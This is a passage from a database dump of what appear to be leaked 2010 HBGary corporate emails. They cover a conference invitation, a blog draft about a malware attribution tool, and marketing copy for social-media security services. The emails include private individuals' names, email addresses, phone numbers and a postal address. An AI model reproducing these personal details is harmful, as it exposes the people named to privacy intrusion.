{behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGet Harley Parks to get a\r\nmeeting for you with Tony.&nbsp; Should Aaron go too?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, July 26, 2010 1:31 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Rich Cummings\'; \'Greg Hoglund\'\r\nSubject: RE: Invite: 13 Aug 2010 - Join Us for a Public - Private\r\nSecurity Automation Collaboration Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nDo we have any info on how many\r\npeople will be attending, what types of people, and from what\r\norganizations?&nbsp; For me to go to CA for a one day event is really 3 days\r\naway.&nbsp; I&#8217;m willing to do it if worth it.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, July 23, 2010 11:33 AM\r\nTo: \'Rich Cummings\'; \'Greg Hoglund\'; \'Bob Slapnik\'\r\nSubject: FW: Invite: 13 Aug 2010 - Join Us for a Public - Private\r\nSecurity Automation Collaboration Meeting\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI think you both should attend\r\nthis.&nbsp; Bob, you might want to too, Tony Sager will be there.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Wednesday, July 21, 2010 4:16 PM\r\nTo: Penny Leavy\r\nSubject: Invite: 13 Aug 2010 - Join Us for a Public - Private Security\r\nAutomation Collaboration Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;&nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    Public\r\n    &#8211; Private Security Automation Collaboration Conference \r\n    \r\n    Join Symantec for the first public-private led conference designed to\r\n    create bridges and close the gap between industry and government sponsored\r\n    network security automation standards.&nbsp; Speakers from DHS, NIST, NSA,\r\n    and others will present in the morning session, followed by industry\r\n    presentations from the Trusted Computing Group and other industry thought\r\n    leaders driving standards initiatives. Group discussions, and capability\r\n    demonstrations will take place in the afternoon. Click\r\n    here to register now.\r\n    \r\n    During this collaborative conference, we will hear from the government\r\n    about the direction of their current and next generation security\r\n    automation initiatives, align and calibrate alongside with industry\r\n    initiatives in areas such as cloud computing and network connect standards.\r\n    \r\n    Join us on August 13th:\r\n    \r\n     Government Speakers\r\n     \r\n      Tony Sager (NSA)\r\n      Tim Grance (NIST)\r\n      Stephen Quinn (NIST)\r\n      Matt Coose (DHS)\r\n     \r\n     Industry &#8211; TCG &nbsp;&#8211; presentation,\r\n         discussion, and demo &#8211; TNC &amp; SCAP\r\n     Industry &#8211; Symantec/Cisco &#8211;\r\n         presentation, discussion, and demo &#8211; network device configuration\r\n         evaluation &amp; SCAP\r\n     And additional panels as well!\r\n    \r\n    \r\n     \r\n      \r\n      Time/Date: &nbsp;&nbsp;&nbsp; &nbsp;\r\n      Friday,\r\n      August 13th, 2010\r\n      10:00 am\r\n      &#8211; 04:00 pm PST\r\n      CLICK\r\n      HERE TO REGISTER\r\n      \r\n      \r\n      Location:\r\n      Symantec\r\n      350 Ellis Street\r\n      Mountain View, CA 94043\r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nBest Regards,\r\n\r\nPaul Bartock\r\n\r\n------------------------------------------------------------------------------------\r\nPaul F. Bartock Jr \r\nVAO Transformation SPO\r\nVulnerability Analysis &amp; Operations Group (VAO/I7)\r\nInformation Assurance Directorate\r\nNational Security Agency\r\nemail : pfbart2@nsa.gov\r\nphone (410)854-9860\r\n------------------------------------------------------------------------------------\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus found\r\nin this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/3008 - Release Date: 07/23/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',988,'aaron_hbgary_com/988.html'),(9182,'2010-07-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007067.M177887P14101Q4037.eml','\"Aaron Barr\" <aaron@hbgary.com>','Building a consortium and service for attribution of APT','See attached.\r\n \r\nHow can you monetize this?\r\n \r\n-Greg\r\n',11247,'aaron_hbgary_com/11247.html'),(9183,'2010-07-26','\"Michele Neiman, PHR\" <michele.neiman@ngc.com>','/aaron@hbgary.com/new/1297007067.M434843P14101Q4038.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Michele Neiman, PHR has indicated you are a Colleague at Northrop Grumman IT, Intelligence Group:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Michele Neiman, PHR\r\n  \r\n\r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Michele Neiman, PHR\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can be the first to know when a trusted member of your network changes jobs? With Network Updates on your LinkedIn home page, you\'ll be notified as members of your network change their current position. Be the first to know and reach out! \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',11629,'aaron_hbgary_com/11629.html'),(9184,'2010-07-26','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297007067.M669960P14101Q4039.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Blog Post','Hi Aaron, Thanks so much. Looks great. I made some edits (in red) and some questions (highlight yellow below) and tried to shorten the intro to get to the tool quicker. Please review. I&#39;d also like to confirm that your description of tool matches closely to what we will be putting up on our Website -&gt; just want to be sure we&#39;re pushing out similar messages and capabilities. I haven&#39;t seen the Website copy so just wanted to doublecheck. Finally, just want to confirm name of product: Fingerprint or FingerPrint. Thanks, Karen    \r\n\r\nOn Mon, Jul 26, 2010 at 10:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nHere is my final draft.  Let me know what you think.\r\nAaron\r\n-----------------\r\nAs a nation we are hemorrhaging; our government, military, corporate, and financial institutions are being robbed of their intellectual property and critical resources continuously due to cyber attacks.  Individual banks measure their losses in the millions per month.  Commercial corporations watch their intellectual property stream overseas.  Our government, military, and critical infrastructures, the backbone of what keeps the United States functioning and safe, are breached regularly, sensitive information is accessed, and we are challenged to stop the majority of these attacks.  Why? One of the key issues at the heart of the challenge has been our inability to attribute the attacks, attribute the source and intent of the threats.  Without attribution,we struggle to develop adequate defenses to match the threats as they evolve.  Without attribution, we cannot execute effective Courses of Action (COAs) against cyber threats or establish effective foreign policies governing responses to such threats.\r\n\r\nThis is not new information.  The government and intelligence community have been aggressively looking for attribution solutions since the CNCI was signed by President Bush in early 2008.  It was a top priority then and remains one of the top cyber priorities in 2010.  Over the years, the security industry has struggled to develop the necessary capabilities and methodologies that advance attribution solutions.  \r\n\r\n \r\nUntil today.\r\n\r\n\r\nHBGary’s FingerPrint tool, released today, represents a breakthrough in the development of a viable attribution solution, enabling the clustering of previously unrelated malware specimens, which in turn enables the individual pieces of intelligence associated with each specimen to be clustered and analyzed collectively.  The sources of the FingerPrint tools success lies within the vehicles of attack themselves - malware (not sure what this means).  Like styles used by authors or artists, Malware creators have specific styles, use specific tools, and develop in specific environments in specific ways.  All of these markers are identifiable, even fingerprintable to an author or set of authors.  Previously unassociated malware shows tight clustering based on these threat markers.  The FingerPrint tool extracts these variables from the malware and puts them into a standard, readable format allowing for rapid association and correlation of malware that was created in the same development environment by the same authors.  The results are significant -- providing a crucial starting point for connecting malware events to authors and providing a better understanding of the evolution of threat capabilities and intent.  HBGary’s Fingerprint tool enables to possibility of true, repeatable cyber attribution (please clarify).\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',10187,'aaron_hbgary_com/10187.html'),(9185,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007067.M877263P14101Q4040.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Building a consortium and service for attribution of APT','Lots to talk about here.  Easy way to monetize the leverage of this.  Funny thing is I tried in a way to do this when I started in December.  This is key and if we pulled it off good will come.  I\'ll call in a bit.\r\n\r\nI will be working on the book chapters on plane ride tomorrow.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 26, 2010, at 4:07 PM, Greg Hoglund  wrote:\r\n\r\n> See attached.\r\n>  \r\n> How can you monetize this?\r\n>  \r\n> -Greg\r\n> \r\n',11432,'aaron_hbgary_com/11432.html'),(9186,'2010-07-26','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297007077.M815995P14101Q4041.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 3 graphic requests to follow','Hi Aaron\r\n\r\nAttached is the first draft of the social media datasheet. I used the  \r\nsame layout as I have done for Penny so that it will fit into the HB  \r\nGary family look and feel.\r\n\r\nTake a look and let me know when you have some feedback.\r\n\r\nFYI - I am out of town next week so we should try and wrap this up by  \r\nFriday.\r\n\r\nThanks!\r\n\r\nJohn\r\n\r\n\r\n\r\nOn Jul 26, 2010, at 10:46 AM, Aaron Barr wrote:\r\n\r\n> Text.\r\n>\r\n> Can you give me a call when you get a sec.  719.510.8478\r\n>\r\n> Information Reconnaissance and Exploitation\r\n>\r\n> Sixty five percent of Americans use social media services with  \r\n> nearly half using them more than once per day. Ninety-six percent of  \r\n> Americans between the ages of 18-35 use at least one social media  \r\n> service.\r\n>\r\n> The explosive growth of social media has created a highly effective  \r\n> channel for the collection and aggregation of personal and  \r\n> organizational information for the purposes of tailoring content for  \r\n> users.  To Interact in a social media ecosystem requires some  \r\n> release of personally identifiable information (PII), in fact with  \r\n> most services the more information you provide the more tailored and  \r\n> beneficial the experience.  In most cases these are legitimate  \r\n> reasons for providing the information with tangible user benefits,  \r\n> whether it be to more personalize and localize advertising or  \r\n> tailored and real-time information delivery that increases personal  \r\n> productivity.  Unfortunately the same methods are being used to  \r\n> conduct information reconnaissance and exploitation.  The most  \r\n> common current examples are spear-phishing attacks.  Future social  \r\n> media exploitation tactics will likely be applications and service  \r\n> that provide personal benefit or entertainment, but serving a dual  \r\n> purpose to collect information that can be used for more insidious  \r\n> purposes.  This marks a new class of exploitation, vehicles directly  \r\n> targeting people rather than the machines they use, Infoware.\r\n>\r\n> Consulting\r\n>\r\n> Not all Social Media services are created equal.  In many cases  \r\n> understanding the proper uses for each of the social media types and  \r\n> informing organization personnel of best practices and potential  \r\n> risks can alleviate a lot of confusion and information control  \r\n> issues.  HBGary Federal staff is comprised of social media  \r\n> technologists, designers and developers as well as cybersecurity and  \r\n> malware experts to assist your organization in effective use of  \r\n> social media communications and collaboration tools while  \r\n> maintaining a manageable security architecture.  Our in-depth  \r\n> knowledge of the possibilities of information exploitation gives us  \r\n> an effective perspective to inform organizations on the potential  \r\n> vulnerabilities of social media use, especially in those areas that  \r\n> might not be obvious such as the aggregated information exposure  \r\n> through use of multiple social media services across an  \r\n> organizations staff.\r\n>\r\n> Training\r\n>\r\n> As is typical of most areas, technology has moved faster than  \r\n> security.  Currently there are virtually no technologies that help  \r\n> protect organizations from information exposure across the social  \r\n> media landscape.  Our 1-day training program aims to familiarize  \r\n> organizations with the social media landscape as well as  \r\n> complementary technologies that will increase the potential for  \r\n> information exposure in coming months and years.  The course  \r\n> provides information on effective use of social media both for  \r\n> personal and professional use and covers the risks of social media  \r\n> use.  There is an interactive section of the course that covers some  \r\n> information exploitation use cases using current popular social  \r\n> media services and social reconnaissance techniques, where we  \r\n> demonstrate the impact both personally and to organizations.  The  \r\n> course ends with some protective measures that can be incorporated  \r\n> into personal social media use and organizational policies and  \r\n> directives to limit information exposure, as well we cover some  \r\n> technologies that can be used to better monitor and block certain  \r\n> types of information exposure.\r\n>\r\n> Course Curriculum\r\n>\r\n> Familiarization\r\n>\r\n> Effective Use\r\n>\r\n> Risks\r\n>\r\n> Use Cases\r\n>\r\n> Protective Measures\r\n>\r\n> Information Exposure Monitoring and PenTesting\r\n>\r\n> In today’s content rich social media environment each post, personal  \r\n> link, or location check-in represents a data point, which because of  \r\n> the open nature of the environment can be easily collected and  \r\n> correlated to other data points, whether by company, profession,  \r\n> association, or location.  Because of the volume of information and  \r\n> the complexity of the potential relationships created it can be  \r\n> difficult to comprehend the vulnerabilities created by seemingly  \r\n> innocuous releases of information.  What people list on their  \r\n> professional online profile, friends they associate with on their  \r\n> personal profiles, messages they post, and places they check in can  \r\n> tell a significant amount about a person.  Aggregated information  \r\n> collected on individuals associated with a particular company or  \r\n> organization can tell far more about the organizations internal  \r\n> operations then they would likely want publically available.  HBGary  \r\n> Federal provides information exposure monitoring services to  \r\n> identify potential unintended releases of information across an  \r\n> aggregate of social media services.\r\n>\r\n>\r\n>\r\n> On Jul 21, 2010, at 12:51 PM, John Verducci wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>> I have not yet begun to work on your project as I have a couple of  \r\n>> things ahead in the queue. I do most of my work in the Adobe  \r\n>> Creative Suite including InDesign.\r\n>>\r\n>> Thanks\r\n>>\r\n>> John\r\n>>\r\n>>\r\n>> On Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n>>\r\n>>> Hi John,\r\n>>>\r\n>>> How are the graphics coming? Do you do In-design work?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>>>\r\n>>>> Thanks Penny.\r\n>>>>\r\n>>>> Aaron - let me know what you need on these.\r\n>>>>\r\n>>>> Thanks\r\n>>>>\r\n>>>> John\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>>>\r\n>>>>> Aaron, you\'ll have to explain to John what you want, what you  \r\n>>>>> sent doesn\'t\r\n>>>>> make sense to me\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>>>> To: Penny Leavy\r\n>>>>> Subject: 3 graphic requests to follow\r\n>>>>>\r\n>>>>> First one is the top image for the datasheet.  You can download  \r\n>>>>> the icons at\r\n>>>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>>>> /\r\n>>>>> I would like the HBGary logo to stand out but fit in the grunge  \r\n>>>>> style.  2\r\n>>>>> more requests to follow.\r\n>>>>>\r\n>>>>> I would use the following ones:\r\n>>>>> blogger\r\n>>>>> digg\r\n>>>>> facebook\r\n>>>>> flickr\r\n>>>>> google\r\n>>>>> hi5\r\n>>>>> linkedin\r\n>>>>> myspace\r\n>>>>> orkut\r\n>>>>> reddit\r\n>>>>> skype\r\n>>>>> technorati\r\n>>>>> twitter\r\n>>>>> wordpress\r\n>>>>> yahoo\r\n>>>>> youtube\r\n>>>>> yelp\r\n>>>>>\r\n>>>>> \r\n>>>>\r\n>>>>\r\n>>>> ______________________\r\n>>>>\r\n>>>> John Verducci\r\n>>>> Studio Em Graphic Design\r\n>>>>\r\n>>>> 974 Yorkshire Drive\r\n>>>> Los Altos, California 94024\r\n>>>>\r\n>>>> 650.962.9200 Direct\r\n>>>> 650.961.8801 Fax\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>\r\n>>\r\n>> ______________________\r\n>>\r\n>> John Verducci\r\n>> Studio Em Graphic Design\r\n>>\r\n>> 974 Yorkshire Drive\r\n>> Los Altos, California 94024\r\n>>\r\n>> 650.962.9200 Direct\r\n>> 650.961.8801 Fax\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\n\r\n______________________\r\n\r\nJohn Verducci\r\nStudio Em Graphic Design\r\n\r\n974 Yorkshire Drive\r\nLos Altos, California 94024\r\n\r\n650.962.9200 Direct\r\n650.961.8801 Fax\r\n\r\n\r\n\r\n\r\n',14867,'aaron_hbgary_com/14867.html'),(9187,'2010-07-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007079.M739129P14101Q4042.eml','\"John Verducci\" <john@studioem.com>','Datasheet','John,\r\n\r\nIt looks great.  Let me get some comments back to you tonight.  If possible I would like to get a final version tomorrow that I can use for blackhat starting Wednesday.\r\n\r\nAgain, it looks great.  You skipped the training graphic.  Did it just not seem to work?  The other graphics are awesome.\r\n\r\nAaron\r\n\r\nSent from my iPhone',2658,'aaron_hbgary_com/2658.html'),(9188,'2010-07-27','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297007080.M246839P14101Q4044.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Datasheet','Hi Aaron\r\n\r\nIt just didn\'t seem to fit. Let me know if you want me to try and  \r\nsqueeze it in somewhere and if so, should I use the exact text that  \r\nyou sent me in the pie chart graphic (Study/Focus/Success/Decide/Enrol)?\r\n\r\nThanks\r\nJohn\r\n\r\n\r\nOn Jul 26, 2010, at 6:16 PM, Aaron Barr wrote:\r\n\r\n> John,\r\n>\r\n> It looks great.  Let me get some comments back to you tonight.  If  \r\n> possible I would like to get a final version tomorrow that I can use  \r\n> for blackhat starting Wednesday.\r\n>\r\n> Again, it looks great.  You skipped the training graphic.  Did it  \r\n> just not seem to work?  The other graphics are awesome.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n\r\n\r\n______________________\r\n\r\nJohn Verducci\r\nStudio Em Graphic Design\r\n\r\n974 Yorkshire Drive\r\nLos Altos, California 94024\r\n\r\n650.962.9200 Direct\r\n650.961.8801 Fax\r\n\r\n\r\n\r\n\r\n',233,'aaron_hbgary_com/233.html'),(9189,'2010-07-27','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297007080.M31905P14101Q4043.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: EXTERNAL:Next Week','\r\n\r\nRe: EXTERNAL:Next Week\r\n\r\n\r\nAaron &#8211; sorry we&#8217;ll miss you. &nbsp;Glad to hear the conference is going well. &nbsp;Look forward to catching up when you return. &nbsp;\r\n\r\nTim \r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, 26 Jul 2010 13:03:48 -0500\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nCc: Christopher Clair &lt;christopher.clair@tasc.com&gt;\r\nSubject: Re: EXTERNAL:Next Week\r\n\r\nHey guys,\r\n\r\nI am not going to make it back in time. &nbsp;I will catch up when I get back from Vegas.\r\n\r\nIf you haven\'t had a chance or seen it google HBGary. &nbsp;We are getting a lot of press running up to Blackhat on our attribution tool we will be releasing. &nbsp;:)\r\n\r\nAaron\r\n\r\n\r\nOn Jul 22, 2010, at 7:53 AM, Tim Riesen wrote:\r\n\r\nChris - \r\n\r\nOk &#8211; will shoot for Wednesday to Friday. &nbsp;Aaron mentioned he might be back in time for a Friday PM meeting. &nbsp;If that is indeed workable, let&#8217;s shoot for a Thursday night dinner and a Friday meeting. &nbsp;\r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Christopher Clair &lt;christopher.clair@tasc.com &lt;x-msg://69/christopher.clair@tasc.com&gt; &gt;\r\nDate: Wed, 21 Jul 2010 21:49:57 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com &lt;x-msg://69/tjriesen@archimedesglobal.com&gt; &gt;, Aaron Barr &lt;aaron@hbgary.com &lt;x-msg://69/aaron@hbgary.com&gt; &gt;\r\nSubject: RE: EXTERNAL:Next Week\r\n\r\nHi Tim,\r\n\r\nMonday and Tuesday are bad. &nbsp;The rest of the week is open. &nbsp;I think Aaron will be out of town but we can handle the meeting if necessary. \r\n\r\nDo you have any nights free for that week? &nbsp;We can cook a few steaks and drink a beer or two. &nbsp;Aaron you are welcome to come too. \r\n\r\nLet me know. \r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 7/21/2010 9:25 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nSubject: EXTERNAL:Next Week\r\n\r\nGentlemen -\r\n\r\nDo you have an interest in meeting with the telecom infrastructure people\r\nnext week? \r\n\r\nAaron &#8211; for the McLean for the meeting?\r\n\r\nAaron and Chris &#8211; for the infrastructure piece of the COIN proposal?\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4991,'aaron_hbgary_com/4991.html'),(9190,'2010-07-27','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007080.M464854P14101Q4045.eml','\"Karen Burke\" <karenmaryburke@gmail.com>,\"Karen Burke\" <karenmaryburke@gmail.com>,,','Re: Blog Post','Ok edits look good. &nbsp;On comments:The first one I am trying to say that the tool is about exposing those things that are very difficult to hide or fake. &nbsp;It takes advantage of the fact that an author leaves behind his markers in the thing that he writes, the malware.On the second one i am trying to say thins is not a fluke like most other examples of attribution i have seen in the intel community briefings. &nbsp;This is a repeatable capability that can significantly improve the entire process of threat identification.AaronSent from my iPadOn Jul 26, 2010, at 5:39 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:Hi Aaron, Thanks so much. Looks great. I made some edits (in red) and some questions (highlight yellow below) and tried to shorten the intro to get to the tool quicker. Please review. I\'d also like to&nbsp;confirm that your description of tool matches closely to what we will be putting up on our Website -&gt; just want to be sure we\'re pushing out similar messages and capabilities. I haven\'t seen the Website copy so just wanted to doublecheck. Finally, just&nbsp;want to confirm name of product: Fingerprint or FingerPrint. Thanks, Karen&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nOn Mon, Jul 26, 2010 at 10:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nHere is my final draft. &nbsp;Let me know what you think.\r\nAaron\r\n-----------------\r\nAs a nation we are hemorrhaging; our government, military, corporate, and financial institutions are being robbed of their intellectual property and critical resources continuously due to cyber attacks. &nbsp;Individual banks measure their losses in the millions per month. &nbsp;Commercial corporations watch their intellectual property stream overseas. &nbsp;Our government, military, and critical infrastructures, the backbone of what keeps the United States functioning and safe, are breached regularly, sensitive information is accessed, and we are challenged to stop the majority of these attacks. &nbsp;Why?&nbsp;One of the key issues at the heart of the challenge&nbsp;has been&nbsp;our inability to attribute the attacks, attribute the source and intent of the threats.&nbsp; Without attribution,we struggle to develop adequate defenses to match the threats as they evolve.&nbsp; Without attribution, we cannot execute effective Courses of Action (COAs) against cyber threats or establish effective foreign policies governing responses to such threats.\r\n\r\nThis is not new information. &nbsp;The government and intelligence community have been aggressively looking for attribution solutions since the CNCI was signed by President Bush in early 2008. &nbsp;It was a top priority then and remains one of the top cyber priorities in 2010.&nbsp;&nbsp;Over the years,&nbsp;the security&nbsp;industry has struggled to&nbsp;develop the necessary&nbsp;capabilities and methodologies that advance attribution solutions.&nbsp;&nbsp;\r\n\r\n&nbsp;\r\nUntil today.\r\n\r\n\r\nHBGary’s FingerPrint tool, released today, represents a breakthrough in the development of a viable attribution solution, enabling the clustering of previously unrelated malware specimens, which in turn enables the individual pieces of intelligence associated with each specimen to be clustered and analyzed collectively.&nbsp; The sources of the FingerPrint tools success lies within the vehicles of attack themselves - malware (not sure what this means). &nbsp;Like styles used by authors or artists, Malware creators have specific styles,&nbsp;use specific tools, and&nbsp;develop in specific environments in specific ways. &nbsp;All of these markers are identifiable, even fingerprintable to an author or set of authors. &nbsp;Previously unassociated malware shows tight clustering based on these threat markers.&nbsp; The FingerPrint tool extracts these variables from the malware and puts them into a standard, readable format allowing for rapid association and correlation of malware that was created in the same development environment by the same authors.&nbsp; The results are significant --&nbsp;providing a crucial starting point for connecting malware events to authors and providing a better understanding of the evolution of threat capabilities and intent.&nbsp; HBGary’s Fingerprint tool enables to possibility of true, repeatable cyber attribution (please clarify).\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',4685,'aaron_hbgary_com/4685.html'),(9191,'2010-07-27','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007085.M335860P14101Q4046.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: 3 graphic requests to follow','Looks good\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Verducci \r\n> To: Aaron Barr \r\n> Subject: Re: 3 graphic requests to follow\r\n> \r\n\r\n> Hi Aaron\r\n> \r\n> Attached is the first draft of the social media datasheet. I used the  \r\n> same layout as I have done for Penny so that it will fit into the HB  \r\n> Gary family look and feel.\r\n> \r\n> Take a look and let me know when you have some feedback.\r\n> \r\n> FYI - I am out of town next week so we should try and wrap this up by  \r\n> Friday.\r\n> \r\n> Thanks!\r\n> \r\n> John\r\n> \r\n> \r\n> \r\n> On Jul 26, 2010, at 10:46 AM, Aaron Barr wrote:\r\n> \r\n>> Text.\r\n>> \r\n>> Can you give me a call when you get a sec.  719.510.8478\r\n>> \r\n>> Information Reconnaissance and Exploitation\r\n>> \r\n>> Sixty five percent of Americans use social media services with  \r\n>> nearly half using them more than once per day. Ninety-six percent of  \r\n>> Americans between the ages of 18-35 use at least one social media  \r\n>> service.\r\n>> \r\n>> The explosive growth of social media has created a highly effective  \r\n>> channel for the collection and aggregation of personal and  \r\n>> organizational information for the purposes of tailoring content for  \r\n>> users.  To Interact in a social media ecosystem requires some  \r\n>> release of personally identifiable information (PII), in fact with  \r\n>> most services the more information you provide the more tailored and  \r\n>> beneficial the experience.  In most cases these are legitimate  \r\n>> reasons for providing the information with tangible user benefits,  \r\n>> whether it be to more personalize and localize advertising or  \r\n>> tailored and real-time information delivery that increases personal  \r\n>> productivity.  Unfortunately the same methods are being used to  \r\n>> conduct information reconnaissance and exploitation.  The most  \r\n>> common current examples are spear-phishing attacks.  Future social  \r\n>> media exploitation tactics will likely be applications and service  \r\n>> that provide personal benefit or entertainment, but serving a dual  \r\n>> purpose to collect information that can be used for more insidious  \r\n>> purposes.  This marks a new class of exploitation, vehicles directly  \r\n>> targeting people rather than the machines they use, Infoware.\r\n>> \r\n>> Consulting\r\n>> \r\n>> Not all Social Media services are created equal.  In many cases  \r\n>> understanding the proper uses for each of the social media types and  \r\n>> informing organization personnel of best practices and potential  \r\n>> risks can alleviate a lot of confusion and information control  \r\n>> issues.  HBGary Federal staff is comprised of social media  \r\n>> technologists, designers and developers as well as cybersecurity and  \r\n>> malware experts to assist your organization in effective use of  \r\n>> social media communications and collaboration tools while  \r\n>> maintaining a manageable security architecture.  Our in-depth  \r\n>> knowledge of the possibilities of information exploitation gives us  \r\n>> an 